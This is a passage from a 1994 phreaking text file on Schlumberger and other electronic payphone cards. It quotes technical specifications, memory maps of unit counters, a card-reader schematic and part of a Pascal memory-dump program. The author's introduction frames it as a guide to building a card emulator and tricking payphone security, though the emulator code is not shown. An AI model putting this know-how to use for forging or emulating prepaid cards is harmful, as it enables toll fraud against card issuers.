home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / !MRG-TC.ZIP / TELECARD.TXT < prev    next >
Text File  |  1994-10-24  |  105KB  |  2,176 lines

  1.  
  2.  
  3.           Electronic Telephone Cards: How to make your own!
  4.           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  5.  
  6. I guess that Sweden is not the only country that employs the electronic phone
  7. card system from Schlumberger Technologies. This article will explain a bit
  8. about the cards they use, and how they work. In the end of this article you
  9. will also find an UUEncoded file which contains sourcecodes for a PIC16C84
  10. microcontroller program that completely emulate a Schlumberger Telephone card
  11. and of course printed circuit board layouts + component list... But before
  12. we begin talking seriously of this matter I must first make it completely
  13. clear that whatever you use this information for, is entirely YOUR
  14. responsibility, and I cannot be held liable for any problems that the use
  15. of this information can cause for you or for anybody else. In other words:
  16. I give this away FOR FREE, and I don't expect to get ANYTHING back in return!
  17.  
  18. The Original Telephone Card:
  19. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  20. Since I probably would have had a hard time writing a better article than the
  21. one Stephane Bausson from France wrote a while ago, I will not attempt to give
  22. a better explanation than that one; I will instead incorporate it in this
  23. phile, but I do want to make it clear that the following part about the cards
  24. technical specification was not written by me: Merely the parts in quotes are
  25. things added by me... Instead I will concentrate on explaining how to build
  26. your own telephone card emulator and how the security measures in the payphone
  27. system created by Schlumberger Technologies work, and how to trick it...
  28. But first, let's have a look at the technical specifications of the various
  29. "smart memory card" systems used for the payphones.
  30.  
  31.  
  32. <Start of text quoted from Stephane Bausson (sbausson@ensem.u-nancy.fr)>
  33. ------------------------------------------------------------------------------
  34.  
  35. ===============================================================================
  36.           What you need to know about electronics telecards
  37. ===============================================================================
  38.  
  39. (C) 10-07-1993 / 03-1994
  40. Version 1.06
  41. Stephane BAUSSON
  42.  
  43. Email: sbausson@ensem.u-nancy.fr
  44. Smail: 4, Rue de Grand; F-88630 CHERMISEY; France
  45. Phone: (33)-29-06-09-89
  46. -------------------------------------------------------------------------------
  47.     Any suggestions or comments about phonecards and smart-cards are welcome
  48. -------------------------------------------------------------------------------
  49.  
  50.                   Content
  51.                  ---------
  52.  
  53. I ) The cards from Gemplus, Solaic, Schlumberger, Oberthur:
  54.  
  55.     I-1) Introduction:
  56.     I-2) SCHEMATICS of the chip:
  57.     I-3) PINOUT of the connector:
  58.     I-4) Main features:
  59.     I-5) TIME DIAGRAMS:
  60.     I-6) Memory MAP of cards from France and Monaco:
  61.     I-5) Memory MAP of cards from other countries:
  62.  
  63. II ) The cards from ODS: (German cards)
  64.  
  65.     II-1) Introduction:
  66.     II-2) Pinout:
  67.     II-3) Main features:
  68.     II-4) Time Diagrams:
  69.     II-5) Memory Map:
  70.     II-6) Electrical features:
  71.  
  72.  
  73. III) The Reader Schematic:
  74.  
  75. IV) The program:
  76.  
  77. -------------------------------------------------------------------------------
  78.  
  79. I ) The cards from Gemplus, Solaic, Schlumberger, Oberthur: (French cards)
  80.     ======================================================================
  81.  
  82.     I-1) Introduction:
  83.      ------------
  84.  
  85.        You must not think that the electronics phone-cards are completly secret
  86. things, and that you can not read the informations that are inside. It is quite
  87. false,  since  in  fact  an  electronic  phonecard  does not contain any secret
  88. information like credit cards, and an electronic phonecard is nothing else that
  89. an 256 bits EPROM, with serial output.
  90.  
  91.        Besides  do not  think that you are going to refilled them when you will
  92. have  understood how they work, since for that you should reset the 256 bits of
  93. the cards by erasing the whole card. But the chip is coated in UV opaqued resin
  94. even if sometime you can see it as tranparent! Even if you were smart enough to
  95. erase  the  256 bits of the  card you  should program the manufactuer area, but
  96. this  is quite  imposible  since these first 96 bits are writing protected by a
  97. lock-out fuse that is fused after the card programing in factory.
  98.  
  99.        Neithertheless it can be very interesting to study how these cards work, to
  100. see which kind of data are inside and how the data are maped inside or to see
  101. how many units are left inside for exemple. Besides there are a great number of
  102. applications of these cards when there are used (only for personal usage of
  103. course) , since you can use them as key to open a door, or you can also use them as
  104. key to secure a program, etc ....
  105.  
  106.        These Telecards have been created in 1984 and at this time constructors
  107. decided to build these cards in NMOS technology but now, they plan to change by
  108. 1994 all readers in the public to booths and use CMOS technology. Also they
  109. plan to use EEPROM to secure the cards and to add many usefull infornations in,
  110. and you will perhaps use phone cards to buy you bread or any thing else.
  111.  
  112. These cards are called Second Generation Telecards.
  113.  
  114.  
  115.     I-2) SCHEMATICS of the chip:
  116.      ----------------------
  117.  
  118.             .-------------------.
  119.             |                   |
  120.           --|> Clk              |
  121.             | _                 |
  122.           --| R/W               |
  123.             |                   |
  124.           --| Reset             |
  125.             |                   |
  126.           --| Fuse              |
  127.             |                   |
  128.           --| Vpp               |
  129.             |                   |
  130.             |                   |
  131.             '-.               .-'
  132.               |               |
  133.             .-------------------.
  134.             |               Out |-- serial output
  135.             '-------------------'
  136.  
  137.  
  138.     I-3) PINOUT of the connector:
  139.     -------------------------
  140.  
  141.  
  142.       AFNOR CHIP                                   ISO CHIP
  143.       ----------                                   --------
  144.  
  145.  -------------+-------------                 -------------+-------------
  146. |   8         |         4   |               |   1         |         5   |
  147. |             |             |               |             |             |
  148. +-------\     |     /-------+               +-------\     |     /-------+
  149. |   7    +----+----+    3   |               |   2    +----+    +    6   |
  150. |        |         |        |               |        |         |        |
  151. +--------|         |--------+               +--------|         |--------+
  152. |   6    |         |    2   |               |   3    |         |    7   |
  153. |        +    +----+        |               |        +----+----+        |
  154. +-------/     |     \-------+               +-------/     |     \-------+
  155. |   5         |         1   |               |   4         |         8   |
  156. |             |             |               |             |             |
  157.  -------------+-------------                 -------------+-------------
  158.  
  159.                      NB: only the position of the chip is ISO
  160.                      standardized and not the pinout
  161.  
  162. PINOUT:    1 : Vcc = 5V        5 : Gnd
  163. ------     2 : R/W             6 : Vpp = 21V
  164.        3 : Clock           7 : I/O
  165.        4 : Reset           8 : Fuse
  166.  
  167.     I-4) Main features:
  168.     ---------------
  169.  
  170.     - Synchronous protocol.
  171.     - N-MOS technology.
  172.     - 256x1 bit organisation.
  173.     - 96 written protected by a lock-out fuse.
  174.     - Low power 85mW in read mode.
  175.     - 21 V programming voltage.
  176.     - Access time: 500ns
  177.     - Operating range: -10░C +70░C
  178.     - Ten year data rentention.
  179.  
  180.  
  181.     I-5) TIME DIAGRAMS:
  182.     ---------------
  183.  
  184. +21V                                     _____________
  185. +5V ____________________________________|             |_________________ Vpp
  186.                     :             :
  187. +5V                  ___________________:_____________:_________________ Reset
  188. 0V  ________________|                   :             :
  189.             :                   :             :
  190. +5V     ____        :      ____         :       ______:______
  191. 0V  ___|    |_______:_____|    |________:______|      :      |__________ Clock
  192.        :    :       :     :    :        :      :      :      :
  193. +5V    :    :       :     :    :        :______:______:      :           _
  194. 0V  ___:____:_______:_____:____:________|      :      |______:__________ R/W
  195.        :    :       :     :    :        :      :      :      :
  196. +5V    :    :       :_____:    :________:      :      :      :__________
  197. 0V  XXXXXXXXXXXXXXXXX_____XXXXXX________XXXXXXXXXXXXXXXXXXXXXX__________ Out
  198.        :    :       :     :    :        :<-----><---->:      :
  199.        :    :       :     :    :        :10 to   10 to       :
  200.        :    :       :     :    :        :50 ms   50ms        :
  201.     Reset        Bit 1        Bit2                           Bit 3
  202.     card        reading      reading  Bit2 writing to 1     reading
  203.  
  204.  
  205.  
  206.     I-6) MEMORY MAP of cards from France and Monaco:
  207.     --------------------------------------------
  208.  
  209. Bytes       Bits      Binary     Hexa
  210.  
  211.             +-----------+-----+
  212.   1        1 --> 8  |           |     | ---> Builder code.
  213.             +-----------+-----+
  214.   2       9 --> 16  | 0000 0011 | $03 | ---> a french telecard
  215.             +-----------+-----+
  216.   3      17 --> 24  |           |     |
  217.             +-----------+-----+
  218.   4      25 --> 32  |           |     |
  219.             +-----------+-----+
  220.   5      33 --> 40  |           |     |
  221.             +-----------+-----+
  222.   6      41 --> 48  |           |     |
  223.             +-----------+-----+
  224.   7      49 --> 56  |           |     |
  225.             +-----------+-----+
  226.   8      57 --> 64  |           |     |
  227.             +-----------+-----+
  228.   9      65 --> 72  |           |     |
  229.             +-----------+-----+
  230.  10      73 --> 80  |           |     |
  231.             +-----------+-----+
  232.  11      81 --> 88  |           |     |
  233.             +-----------+-----+
  234.  12      33 --> 40  | 0001 0011 | $13 | ---> 120 units card
  235.             | 0000 0110 | $06 | --->  50 units card
  236.             | 0000 0101 | $05 | --->  40 units card
  237.             +-----------+-----+
  238.  13-31  97 --> 248  |           |     | ---> The units area: each time a unit
  239.             |           |     |      is used, then a bit is set to "1";
  240.             |           |     |        Generaly the first ten units are
  241.             |           |     |      fused in factory as test.
  242.             |           |     |
  243.             |           |     |
  244.             |           |     |
  245.             +-----------+-----+
  246.  32    249 --> 256  | 1111 1111 | $FF | ---> the card is empty
  247.             +-----------+-----+
  248.  
  249.  
  250.  
  251.     I-7) MEMORY MAP of the other cards:
  252.     -------------------------------
  253.  
  254. Bytes       Bits      Binary     Hexa
  255.  
  256.             +-----------+-----+
  257.   1        1 --> 8  |           |     |
  258.             +-----------+-----+
  259.   2       9 --> 16  | 1000 0011 | $83 | ---> a telecard
  260.             +-----------+-----+-----------+-----+
  261. 3-4      17 --> 32  | 1000 0000 | $80 | 0001 0010 | $12 | ---> 10 units card
  262.             |           |     | 0010 0100 | $24 | ---> 22 units card
  263.             |           |     | 0010 0111 | $27 | ---> 25 units card
  264.             |           |     | 0011 0010 | $32 | ---> 30 units card
  265.             |           |     | 0101 0010 | $52 | ---> 50 units card
  266.             |           |     | 1000 0010 | $82 | ---> 80 units card
  267.             | 1000 0001 | $81 | 0000 0010 | $02 | ---> 100 untis card
  268.             |           |     | 0101 0010 | $52 | ---> 150 units card
  269.             +-----------+-----+-----------+-----+
  270.   5      33 --> 40  |           |     |
  271.             +-----------+-----+
  272.   6      41 --> 48  |           |     |
  273.             +-----------+-----+
  274.   7      49 --> 56  |           |     |
  275.             +-----------+-----+
  276.   8      57 --> 64  |           |     |
  277.             +-----------+-----+
  278.   9      65 --> 72  |           |     |
  279.             +-----------+-----+
  280.  10      73 --> 80  |           |     |
  281.             +-----------+-----+
  282.  11      81 --> 88  |           |     |
  283.             +-----------+-----+
  284.  12      89 --> 96  | 0001 1110 | $1E | ---> Sweden
  285.             | 0010 0010 | $22 | ---> Spain
  286.             | 0011 0000 | $30 | ---> Norway
  287.             | 0011 0011 | $33 | ---> Andorra
  288.             | 0011 1100 | $3C | ---> Ireland
  289.             | 0100 0111 | $47 | ---> Portugal
  290.             | 0101 0101 | $55 | ---> Czech Republic
  291.             | 0101 1111 | $5F | ---> Gabon
  292.             | 0110 0101 | $65 | ---> Finland
  293.             +-----------+-----+
  294.  13-31  97 --> 248  |           |     | ---> The units area: each time a unit
  295.             |           |     |      is used, then a bit is set to "1";
  296.             |           |     |
  297.             |           |     |      Generaly the first two units are
  298.             |           |     |      fused in factory as test.
  299.             |           |     |
  300.             |           |     |
  301.             +-----------+-----+
  302.  32    249 --> 256  | 0000 0000 | $00 |
  303.             +-----------+-----+
  304.  
  305.  
  306.  
  307. II ) The cards from ODS, Giesecke & Devrient, ORGA Karten systeme,
  308.      =============================================================
  309.      Uniqua, Gemplus, Schlumberger and Oldenbourg Kartensysteme:
  310.      ===========================================================
  311.  
  312.     II-1) Introduction:
  313.       ------------
  314.  
  315.     These cards are in fact 128 bit memory in NMOS technology, and the
  316. map of these cards are the following:
  317.  
  318.            64 bit EPROM written protected (manufaturer area).
  319.            40 bit EEPROM (5x8 bits).
  320.            24 bits set to "1".
  321.  
  322.  
  323.     II-2) Pinout:
  324.      --------
  325.  
  326.        ISO 7816-2
  327.  
  328.   -------------+-------------
  329.  |   1         |         5   |        Pinout:
  330.  |             |             |        -------
  331.  +-------\     |     /-------+
  332.  |   2    +----+    +    6   |          1 : Vcc = 5V    5 : Gnd
  333.  |        |         |        |          2 : Reset       6 : n.c.
  334.  +--------|         |--------+          3 : Clock       7 : I/O
  335.  |   3    |         |    7   |          4 : n.c.        8 : n.c.
  336.  |        +----+----+        |
  337.  +-------/     |     \-------+      n.c. : not connected
  338.  |   4         |         8   |
  339.  |             |             |
  340.   -------------+-------------
  341.  
  342.  
  343.     II-3) Main features:
  344.      ---------------
  345.  
  346.     - ISO 7816- 1/2 compatible.
  347.     - use a single 5V power supply.
  348.     - low power consuption.
  349.     - NMOS technology.
  350.  
  351.     II-4) Time Diagrams:
  352.     ----------------
  353.  
  354. Reset:
  355. ------
  356.   The address counter is reset to 0 when the clock line CLK is raised while
  357. the control line R is high. Note that the address counter can not be reset
  358. when it is in the range 0 to 7.
  359.  
  360.       __________________
  361. _____|                  |_____________________________________________ Reset
  362.      :                  :
  363.      :        _____     :  _____       _____       _____       _____
  364. _____:_______|     |____:_|     |_____|     |_____|     |_____|     |_ Clk
  365.      :       :          : :     :     :     :     :     :     :     :
  366. _____:_______:__________:_:_____:_____:_____:_____:_____:_____:_____:_
  367. _____:___n___|_____0____:_|_____1_____|_____2_____|_____3_____|___4_:_ (Address)
  368.      :                  :       :           :           :           :
  369. _____:                  :_______:___________:___________:___________:_
  370. _____XXXXXXXXXXXXXXXXXXXX_______|___________|___________|___________|_ Data
  371. Bit n                      Bit 0    Bit 1        Bit2       Bit3
  372.  
  373.    The address counter is incremented by 1 with each rising edge of the clock
  374. signal Clk, for as long as the control line R remains low. The data held in
  375. each addressed bit is output to I/O contact each time Clk falls. It is not
  376. impossible to decrement the address counter, therefore to address an earlier
  377. bit, the address counter must be reset then incremented to require value.
  378.  
  379.  
  380. Write:
  381. ------
  382.    All unwritten or erased bits in the address 64-104 may be unwritten to.
  383. When a memory cell is unwritten to, it is set to 0. The addressed cell is
  384. unwritten to by the following sequence.
  385.  
  386. 1- R is raised while Clk is low, to disable address counter increment for one
  387. clock pulse.
  388.  
  389. 2- Clk is then raised for a minimum of 10ms to write to the address bit.
  390.  
  391. When to write operation ends, and Clk falls, the address counter is unlocked,
  392. and the content of the written cell, which is now 0, is output to I/O contact
  393. if the operation is correct.
  394. The next Clk pulse will increment the address by one, then the write sequence
  395. can be repeated to write the next bit.
  396.  
  397.           _____                                _____
  398. _____________|     |______________________________|     |_______________  Reset
  399.          :                                    :
  400.      ___     :           _____           ___      :           _____
  401. ____|   |____:__________|     |_________|   |_____:__________|     |____  Clk
  402.     :        :          :     :         :   :     :          :     :
  403. ____:________:__________:_____:_________:___:_____:__________:_____:_____
  404.  n  |      n+1          |     n+2       |   :    n+3         |     :       (Address)
  405. ----'--------:----------'-----:---------'---:-----:----------'-----:-----
  406.          :          :     :             :     :          :     :
  407. _________   _:          :     : ____________:  ___:          :     :
  408. _________XXX_XXXXXXXXXXXXXXXXXXX____________ XX___XXXXXXXXXXXXXXXXXXXXXXX  I/O
  409.    n      n+1           :     :     n+1        n+2           :     :
  410.             :     :                              :     :
  411.              write                                write
  412.  
  413.  
  414. WriteCarry:
  415. -----------
  416.  
  417.    A counter is erased by performing the WRITECARRY sequence on the stage of
  418. the next highest weighing to that to be erased.
  419.  
  420. The writecarry sequence is as follows:
  421.  
  422. 1 - Set the address counter to an unwritten bit in the next highest counter
  423. stage to that to be erased.
  424.  
  425. 2 - Increment is disabled on the following rising edge of R where Clk remains
  426. low.
  427.  
  428. 3 - Clk is then raised for a minimum of 10ms, while R is low, to write to the
  429. next address bit.
  430.  
  431. 4 - R is the raised again while Clk remains low to disable increment a second
  432. time.
  433.  
  434. 5 - Clk is the raised for a minimum of 1ms, while R is low, to write to the
  435. addressed bit a second time, erasing the counter level immediately below that
  436. the addressed bit.
  437.  
  438.        _____                      _____
  439. ______|     |____________________|     |_________________________________  Rst
  440.       :                          :
  441.       :            _______       :              _______        ___
  442. ______:___________|       |______:_____________|       |______|   |______  Clk
  443.       :           :       :      :             :       :      :   :
  444.       :           :       :      :             :       :      :   :
  445. <------------------------- address n ------------------------>:<--- n+1 ------
  446.       :           :       :      :             :       :          :
  447.       :           :       :      :             :       :          :
  448. ______:           :       :______:             :       :__________: _____
  449. ______XXXXXXXXXXXXXXXXXXXXX______XXXXXXXXXXXXXXXXXXXXXXX__________XX_____  I/O
  450.           :       :  n                 :       :     n        n+1
  451.           :       :                    :       :
  452.             Write                        Erase
  453.  
  454.      II-5) Memory Map:
  455.      -------------
  456.  
  457. Bytes       Bits      Binary     Hexa
  458.  
  459.             +-----------+-----+
  460.   1       1 -->   8 |           |     |
  461.             +-----------+-----+
  462.   2       9 -->  16 | 0010 1111 | $2F | ---> Germany
  463.             | 0011 0111 | $37 | ---> Netherland
  464.             | 0011 1011 | $3B | ---> Greece
  465.             +-----------+-----+
  466.   3      17 -->  24 |           |     |
  467.   4      25 -->  32 |           |     | ---> Issuer area (written protected)
  468.   5      33 -->  40 |           |     |
  469.   6      41 -->  48 |           |     |
  470.   7      49 -->  56 |           |     |
  471.   8      57 -->  64 |           |     |
  472.             +-----------+-----+
  473.   9      65 -->  72 |           |     | ---> c4096  )
  474.  10      73 -->  80 |           |     | --->  c512  )
  475.  11      81 -->  88 |           |     | --->   c64  ) 5 stage octal counter
  476.  12      89 -->  96 |           |     | --->    c8  )
  477.  13      97 --> 104 |           |     | --->    c0  )
  478.             +-----------+-----+
  479.  14     105 --> 112 | 1111 1111 | $FF |
  480.  15     113 --> 120 | 1111 1111 | $FF | ---> area of bits set to "1"
  481.  16     120 --> 128 | 1111 1111 | $FF |
  482.             +-----------+-----+
  483.  
  484. The Issuer area:
  485. ----------------
  486.  
  487.     This issuer consists of 40 bits. The contents of the issuer area are
  488. specified by the card issuer, and are fixed during the manufacturing process.
  489. The contents of the issuer area will include data such as serial numbers,
  490. dates, and distribution centers.
  491.  
  492. This area may only be read.
  493.  
  494. The Counter area:
  495. -----------------
  496.  
  497.    The counter area stores the card's units. Its initial value is specified
  498. by the card issuer and set during manufacturing.
  499.  
  500. The counter area is divided into a 5 stage abacus.
  501.  
  502. Note that you can only decrease the counter and it is not authorised to write
  503. in the counter a value greater than the old value.
  504.  
  505.  
  506.     I-6) Electrical features:
  507.     --------------------
  508.  
  509. Maximum ratings:
  510. ----------------
  511.  
  512.                +--------+------+------+------+
  513.                | Symbol | Min  |  Max | Unit |
  514. +----------------------+--------+------+------+------+
  515. | Supply voltage       |   Vcc  | -0.3 |    6 |   V  |
  516. +----------------------+--------+------+------+------+
  517. | Input voltage        |   Vss  | -0.3 |    6 |   V  |
  518. +----------------------+--------+------+------+------+
  519. | Storage temperature  |  Tstg  |  -20 |  +55 |  ░C  |
  520. +----------------------+--------+------+------+------+
  521. | Power dissipassion   |    Pd  |   -  |   50 |  mW  |
  522. +----------------------+--------+------+------+------+
  523.  
  524.  
  525. DC caracteristics:
  526. ------------------
  527.                 +--------+-----+-----+-----+------+
  528.                 | Symbol | Min.| Typ.| Max.| Unit |
  529. +---------------------------+--------+-----+-----+-----+------+
  530. | Suplly current            |   Icc  |  -  |  -  |   5 |   mA |
  531. +---------------------------+--------+-----+-----+-----+------+
  532. | Input Voltage (low)       |    Vl  |   0 |  -  | 0.8 |    V |
  533. +---------------------------+--------+-----+-----+-----+------+
  534. | Input voltage (high)      |    Vh  | 3.5 |  -  | Vcc |    V |
  535. +---------------------------+--------+-----+-----+-----+------+
  536. | Input current R           |    Ih  |  -  |  -  | 100 |   uA |
  537. +---------------------------+--------+-----+-----+-----+------+
  538. | Input current Clk         |    Il  |  -  |  -  | 100 |   uA |
  539. +---------------------------+--------+-----+-----+-----+------+
  540. | Output current (Vol=0.5V) |   Iol  |  -  |  -  |  10 |   uA |
  541. +---------------------------+--------+-----+-----+-----+------+
  542. | Output current (Voh=5V)   |   Ioh  |  -  |  -  | 0.5 |   mA |
  543. +---------------------------+--------+-----+-----+-----+------+
  544.  
  545. AC caracteristics:
  546. ------------------     +--------+------+------+------+
  547.                | Symbol | Min. | Max. | Unit |
  548. +----------------------+--------+------+------+------+
  549. | Pulse duration       |    tr  |   50 |   -  |  us  |
  550. | R address reset      |        |      |      |      |
  551. +----------------------+--------+------+------+------+
  552. | Pulse duration       |    ts  |   10 |   -  |  us  |
  553. | R write              |        |      |      |      |
  554. +----------------------+--------+------+------+------+
  555. | High level Clk       |    th  |    8 |   -  |  us  |
  556. +----------------------+--------+------+------+------+
  557. | Low level Clk        |    tl  |   12 |   -  |  us  |
  558. +----------------------+--------+------+------+------+
  559. | Write window         | Twrite |   10 |   -  |  ms  |
  560. +----------------------+--------+------+------+------+
  561. | Erase window         | Terase |   10 |   -  |  ms  |
  562. +----------------------+--------+------+------+------+
  563. |                      |   tv1  |    5 |   -  |  us  |
  564. +----------------------+--------+------+------+------+
  565. |                      |   tv2  |  3.5 |   -  |  us  |
  566. +----------------------+--------+------+------+------+
  567. |                      |   tv3  |  3.5 |   -  |  us  |
  568. +----------------------+--------+------+------+------+
  569. |                      |   tv4  |  3.5 |   -  |  us  |
  570. +----------------------+--------+------+------+------+
  571. |                      |   tv5  |  3.5 |   -  |  us  |
  572. +----------------------+--------+------+------+------+
  573. |                      |   tv6  |    5 |   -  |  us  |
  574. +----------------------+--------+------+------+------+
  575. |                      |   tv7  |    5 |   -  |  us  |
  576. +----------------------+--------+------+------+------+
  577. |                      |   tv8  |   10 |   -  |  us  |
  578. +----------------------+--------+------+------+------+
  579.  
  580.  
  581.  
  582. III) The Reader Schematic:
  583.     ======================
  584.  
  585.    External 5V (Optional)
  586.  
  587. 5V o------,
  588.       |                 /             T2  PNP      d13  r7 10
  589. 0V o--,   |                /               BC 177     |\ |  _____
  590.       |   |      ,-------o/   o--*------. E      C .--| >+-[_____]--------,
  591.     __+__ |      |               |       \        /   |/ |                |
  592.     \\\\\ |    __|__ Batery      |         \    /                         |
  593.       |      -   22.5V       |       ---------                        |
  594. .......   |      |               |   _____   |   _____                    |
  595.        :  |    __+__             +--[_____]--*--[_____]--,                |
  596.    D2  :  |    \\\\\                r6 150k     r5 15k   |                |
  597. 4 o-------|---------------------------*------------------|-------------,  |
  598.        :  |                           |   r3 220k       / C            |  |
  599.    Ack :  |                           |   _____      |/    T1 - NPN    |  |
  600. 10 o------|--------.                  '--[_____]-*---|      BC107      |  |
  601.        :  |        |                      _____  |   |\                |  |
  602.        : ,-,      ,-,                 +--[_____]-'      \ E            |  |
  603.        : | |r2    | |r1               |  r4 390k         |             |  |
  604.        : | |220   | |22k            __+__              __+__           |  |
  605.        : |_|      |_|               \\\\\              \\\\\           |  |
  606.        :  |  |\ |  |                                                   |  |
  607.        :  *--| >+--|----------------*----------------------------------|--*
  608.        :  |  |/ |  |          ,-----|-----------------------------,    |  |
  609.        :  |  d1    |          |     |   ,----------,----------,   |    |  |
  610.        :  |        |          |     *---|--*  Fuse | Reset *--|---'    |  |
  611.        :  |        |          |     |   |----------|----------|        |  |
  612.    D0  :  |        |          |   ,-|---|--*   I/O | Clk   *--|---,    |  |
  613. 2 o-------|--------|----------'   | |   |----------|----------|   |    |  |
  614.        :  |        |              | '---|--*   Vpp | R/W   *--|---|----'  |
  615.   Busy :  |        |              |     |----------|----------|   |       |
  616. 11 o------|--------|--------------' ,---|--*   Gnd | 5V    *  |   |       |
  617.        :  |        |                |   '----------'-------|--'   |       |
  618.    D1  :  |        |              __+__    Chip connector  |      |       |
  619. 3 o-------|--------|--------,     \\\\\                    |      |       |
  620.        :  |        |        '------------------------------|------'       |
  621.   Str  :  |  |\ |  |                                       |              |
  622. 1 o-------*--| >+--*----*----*----*----*-------------------'              |
  623.        :   d2|/ |  |d3  |d4  |d5  |d6  |d7                                |
  624.        :          -+-  -+-  -+-  -+-  -+-                                 |
  625.        :          /_\  /_\  /_\  /_\  /_\                                 |
  626.    D3  :           |    |    |    |    |   |\ | d8                        |
  627. 5 o----------------*----|----|----|----|---| >+-------*-------------------'
  628.        :                |    |    |    |   |/ |       |
  629.        :                |    |    |    |              |
  630.    D4  :                |    |    |    |   |\ | d9    |
  631. 6 o---------------------*----|----|----|---| >+-------*
  632.        :                     |    |    |   |/ |       |
  633.        :                     |    |    |              |
  634.    D5  :                     |    |    |   |\ | d10   |
  635. 7 o--------------------------*----|----|---| >+-------*
  636.        :                          |    |   |/ |       |
  637.        :                          |    |              |
  638.    D6  :                          |    |   |\ | d11   |
  639. 8 o-------------------------------*----|---| >+-------*
  640.        :                               |   |/ |       |
  641.        :                               |              |
  642.    D7  :                               |   |\ | d12   |
  643. 9 o------------------------------------*---| >+-------'
  644.        :                                   |/ |
  645.        :
  646.        :
  647. 25 o------.
  648.        :  |
  649. .......:  |                                 d1 to d13: 1N4148
  650.     __+__
  651.     \\\\\
  652.  
  653. Centronic port
  654.  
  655.  
  656.  
  657.  
  658. IV) The program:
  659.     ===========
  660.  
  661.     The following program will enable you to read telecards on you PC if you
  662. build the precedent reader.
  663.  
  664. --------------- cut here (begin)
  665. {*****************************************************************************}
  666. {                             T E L E C A R D . PAS                           }
  667. {*****************************************************************************}
  668. {   This program enable you to dumb the memory of electronics phonecards      }
  669. {   from all over the world, so that you will be able to see which country    }
  670. {   the card is from how many units are left and so on ....                   }
  671. {*****************************************************************************}
  672. {                                                                             }
  673. {                        Written by Stephane BAUSSON (1993)                   }
  674. {                                                                             }
  675. {                         Email: sbausson@ensem.u-nancy.fr                    }
  676. {                                                                             }
  677. {                       Snail Mail Address: 4, Rue de Grand                   }
  678. {                                           F-88630 CHERMISEY                 }
  679. {                                           France                            }
  680. {                                                                             }
  681. {*****************************************************************************}
  682. {* Thanks to: Tomi Engdahl (Tomi.Engdahl@hut.fi)                             *}
  683. {*****************************************************************************}
  684.  
  685. USES crt,dos;
  686.  
  687. CONST port_address=$378;     { lpr1 chosen }
  688.  
  689. TYPE string8=string[8];
  690.      string2=string[2];
  691.  
  692. VAR reg         : registers;
  693.     i,j         : integer;
  694.     Data        : array[1..32] of byte;
  695.     car         : char;
  696.     byte_number : integer;
  697.     displaying  : char;
  698.  
  699. {-----------------------------------------------------------------------------}
  700.  
  701. PROCEDURE Send(b:byte);
  702.  
  703.   BEGIN port[port_address]:=b;
  704.   END;
  705.  
  706. {-----------------------------------------------------------------------------}
  707.  
  708. FUNCTION Get:byte;
  709.  
  710.   BEGIN get:=port[port_address+1];
  711.   END;
  712.  
  713. {-----------------------------------------------------------------------------}
  714. { FUNCTION dec2hexa_one(decimal_value):hexa_character_representation;         }
  715. {                                                                             }
  716. {       - convert a 4 bit long decimal number to hexadecimal.                 }
  717. {-----------------------------------------------------------------------------}
  718.  
  719. FUNCTION dec2hexa_one(value:byte):char;
  720.  
  721.   BEGIN case value of
  722.       0..9   : dec2hexa_one:=chr(value+$30);
  723.       10..15 : dec2hexa_one:=chr(value+$37);
  724.     END;
  725.   END;
  726.  
  727. {-----------------------------------------------------------------------------}
  728. { FUNCTION d2h(decimal_byte):string2;                                         }
  729. {                                                                             }
  730. {       - convert a decimal byte to its hexadecimal representation.           }
  731. {-----------------------------------------------------------------------------}
  732.  
  733. FUNCTION d2h(value:byte):string2;
  734.  
  735.   VAR msbb,lsbb:byte;
  736.  
  737.   BEGIN msbb:=0;
  738.     if ( value >= $80 ) then
  739.     BEGIN msbb:=msbb+8;
  740.           value:=value-$80;
  741.     END;
  742.     if ( value >= $40 ) then
  743.     BEGIN msbb:=msbb+4;
  744.           value:=value-$40;
  745.     END;
  746.     if ( value >= $20 ) then
  747.     BEGIN msbb:=msbb+2;
  748.           value:=value-$20;
  749.     END;
  750.     if ( value >= $10 ) then
  751.     BEGIN msbb:=msbb+1;
  752.           value:=value-$10;
  753.     END;
  754.  
  755.     lsbb:=0;
  756.     if ( value >= $08 ) then
  757.     BEGIN lsbb:=lsbb+8;
  758.           value:=value-$08;
  759.     END;
  760.     if ( value >= $04 ) then
  761.     BEGIN lsbb:=lsbb+4;
  762.           value:=value-$04;
  763.     END;
  764.     if ( value >= $02 ) then
  765.     BEGIN lsbb:=lsbb+2;
  766.           value:=value-$02;
  767.     END;
  768.     if ( value >= $01 ) then
  769.     BEGIN lsbb:=lsbb+1;
  770.           value:=value-$01;
  771.     END;
  772.     d2h := dec2hexa_one(msbb) + dec2hexa_one(lsbb);
  773.   END;
  774.  
  775. {-----------------------------------------------------------------------------}
  776.  
  777. Function Binary( b : byte):string8;
  778.  
  779.   var weigth : byte;
  780.       s      : string8;
  781.  
  782.   BEGIN weigth:=$80;
  783.     s:='';
  784.     while (weigth > 0) do
  785.     BEGIN if ((b and weigth) = weigth) then s:=s+'1'
  786.           else s:=s+'0';
  787.           weigth:=weigth div $02;
  788.     END;
  789.     Binary:=s;
  790.   END;
  791.  
  792. {-----------------------------------------------------------------------------}
  793.  
  794. FUNCTION Units:byte;
  795.  
  796.   VAR  u, i : integer;
  797.        s    : string8;
  798.  
  799.   BEGIN u:=0;
  800.     i:=13;
  801.     while (Data[i] = $FF) do
  802.     BEGIN u:=u+8;
  803.           i:=i+1;
  804.     END;
  805.     s:=Binary(Data[i]);
  806.     while(s[1]='1') do
  807.           BEGIN inc(u);
  808.           s:=copy(s,2,length(s));
  809.     END;
  810.     units:=u;
  811.   END;
  812.  
  813. {-----------------------------------------------------------------------------}
  814.  
  815. function Units_2:LongInt;
  816.  
  817.   BEGIN Units_2:=4096*Data[9]+512*Data[10]+64*Data[11]+8*Data[12]+Data[13];
  818.   END;
  819.  
  820. {-----------------------------------------------------------------------------}
  821.  
  822. PROCEDURE Card_Type;
  823.  
  824.   BEGIN case Data[2] of
  825.      $03: BEGIN write('Telecard - France - ');
  826.             case Data[12] of
  827.              $13: write('120 Units - ',units-130,' Units left');
  828.              $06: write('50 Units - ',units-60,' Units left');
  829.              $15: write('40 Units - ',units-40,' Units left');
  830.             END;
  831.           END;
  832.      $2F:BEGIN write('Telecard - Germany - ', Units_2, ' Units left');
  833.          END;
  834.      $3B:BEGIN write('Telecard - Greece - ', Units_2, ' Units left');
  835.          END;
